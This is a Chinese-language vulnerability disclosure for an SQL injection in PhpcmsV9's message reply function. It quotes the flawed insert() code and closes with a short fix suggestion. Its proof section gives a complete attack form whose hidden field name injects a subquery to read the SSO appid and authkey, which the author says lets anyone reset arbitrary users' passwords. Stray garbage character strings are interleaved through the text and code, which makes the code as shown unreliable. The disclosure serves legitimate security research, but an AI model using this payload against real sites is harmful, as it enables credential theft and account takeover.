PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：
6 X, F6 t* z: F
8 _9 P$ v# T' B, E第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。

明天再更新下一个漏洞。
/ M, j# ?) [4 h! L. m+ }8 U详细说明：
在/phpcms9/phpcms/modules/message/index.php中有代码如下：

$messageid = $this->message_db->insert($_POST['info'],true);


insert方法是key value的，代码如下：

public function insert($data, $table, $return_insert_id = false, $replace = false) {
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
                        return false;
                }
               
2 e, g" Q4 S9 f& c6 O                $fielddata = array_keys($data);
                $valuedata = array_values($data);
6 V+ \: ]9 ?$ c! P! W$ D                array_walk($fielddata, array($this, 'add_special_char'));
                array_walk($valuedata, array($this, 'escape_string'));
" u) f5 j( `, {               
                $field = implode (',', $fielddata);
* g, n2 Q2 s' H1 v                $value = implode (',', $valuedata);

4 ~& g+ u: W3 L! q                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
: {8 @% W6 H) O4 |$ I                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
+ F) z4 j% N( V' p, B# w4 T5 {' y                $return = $this->execute($sql);
6 `( p/ J  N% l6 v                return $return_insert_id ? $this->insert_id() : $return;
        }

5 y3 o7 D3 W  Q7 H. e  ]" M
嗯，很遗憾的是
, N( L9 q7 L; t. X& Z' L6 T
array_walk($fielddata, array($this, 'add_special_char'));
$ l' V- ~5 L6 x0 b4 a& ^( w
9 T! B. s" q( ?' t7 \
& w- W/ @$ J4 h# i, a# F中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。
8 l$ a2 w& r% b: k! I
到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。

漏洞证明：
; P* N. p6 i* M6 i" F: ~读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
# R8 M7 Q! t7 D! f* }& ?

! K0 {3 w) v: L8 h( x表单如下：用户名什么的得自己改一改。
3 g# |7 ?  H$ |! s: Y4 z" T. Q<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
0 C8 \) f1 |) V5 i' e2 ^9 S9 f( \<table width="100%" cellspacing="0" class="table_form">
<tr>
<th>标 题：</th>
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
0 x: h) J/ O6 t) G( l6 q: S+ J</tr>
<tr>
' G- s+ J3 N" g' D% C& o<th>内 容：</th>
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
</tr>
<input type="hidden" name="info[replyid]" value="2" />
<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
<!-- 漏洞的利用重点在这里开始 -->
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- 漏洞的利用重点在这里结束 -->
7 h6 L6 c' W7 c. Y' e7 C4 l" L<tr>
<th>验证码：</th>
! r4 @) a  h7 T, e3 T<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
2 X, _$ a/ ^+ }# h6 y' ~) f8 {( u</tr>
4 w0 l7 n; {, Q) g2 S* S! g/ l/ Y<tr>
<td></td>
  @4 s9 w: S9 R<td colspan="2"><label>
' R& x2 [* y# k' }8 ]. Z' H# f<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
</label></td>
</tr>
</table>
</form>
在add_special_char函数内对key做过滤就可以了。

& ~) ]0 I" m/ g  n& q& ^7 k0 ^
2 j+ l# T% C. O$ t
$ i+ u; l2 p3 r+ h" e& T! a3 `